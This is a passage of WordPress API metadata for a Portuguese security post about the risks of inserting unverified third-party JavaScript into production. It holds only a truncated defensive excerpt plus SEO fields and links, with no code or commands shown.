Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de","og:url":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/","og:image":"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg","og:image:secure_url":"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg","article:published_time":"2026-01-18T17:38:39+00:00","article:modified_time":"2026-01-12T17:42:40+00:00","twitter:card":"summary_large_image","twitter:title":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada - Teo","twitter:description":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada Cen\u00e1rio: Tentativa de Engenharia Social para Inser\u00e7\u00e3o de C\u00f3digo JavaScript de Terceiros em Ambiente de Produ\u00e7\u00e3o. 1. An\u00e1lise do Artefato Fornecido Os scripts solicitados apresentam m\u00faltiplos indicadores de comprometimento potencial (IOCs): html 2. Vetores de","twitter:image":"https:\/\/teo.com.br\/wp-content\/uploads\/2024\/03\/cropped-teo.jpg"},"aioseo_meta_data":{"post_id":"6378","title":null,"description":null,"keywords":null,"keyphrases":{"focus":[],"additional":[]},"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":"","og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"BlogPosting","isEnabled":true},"graphs":[]},"schema_type":"default","schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":"-1","robots_max_videopreview":"-1","robots_max_imagepreview":"large","priority":null,"frequency":"default","local_seo":null,"breadcrumb_settings":null,"limit_modified_date":false,"ai":{"faqs":[],"keyPoints":[],"titles":[],"descriptions":[],"socialPosts":{"email":[],"linkedin":[],"twitter":[],"facebook":[],"instagram":[]}},"created":"2026-01-12 17:39:36","updated":"2026-09-05 22:16:28","seo_analyzer_scan_date":null,"focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"aioseo_breadcrumb":"<div class=\"aioseo-breadcrumbs\"><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/teo.com.br\/noticias\" title=\"Home\">Home<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\t<a href=\"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/\" title=\"Incendio\">Incendio<\/a>\n\t\t<\/span><span class=\"aioseo-breadcrumb-separator\">&raquo;<\/span><span class=\"aioseo-breadcrumb\">\n\t\t\tAn\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada\n\t\t<\/span><\/div>","aioseo_breadcrumb_json":[{"label":"Home","link":"https:\/\/teo.com.br\/noticias"},{"label":"Incendio","link":"https:\/\/teo.com.br\/noticias\/categoria\/incendio\/"},{"label":"An\u00e1lise de Risco T\u00e9cnico: Inje\u00e7\u00e3o de C\u00f3digo JavaScript de Origem N\u00e3o-Verificada","link":"https:\/\/teo.com.br\/noticias\/2026\/01\/18\/analise-de-risco-tecnico-injecao-de-codigo-javascript-de-origem-nao-verificada\/"}],"_links":{"self":[{"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/posts\/6378","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/comments?post=6378"}],"version-history":[{"count":1,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/posts\/6378\/revisions"}],"predecessor-version":[{"id":6379,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/posts\/6378\/revisions\/6379"}],"wp:attachment":[{"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/media?parent=6378"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/categories?post=6378"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/teo.com.br\/noticias\/wp-json\/wp\/v2\/tags?post=6378"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}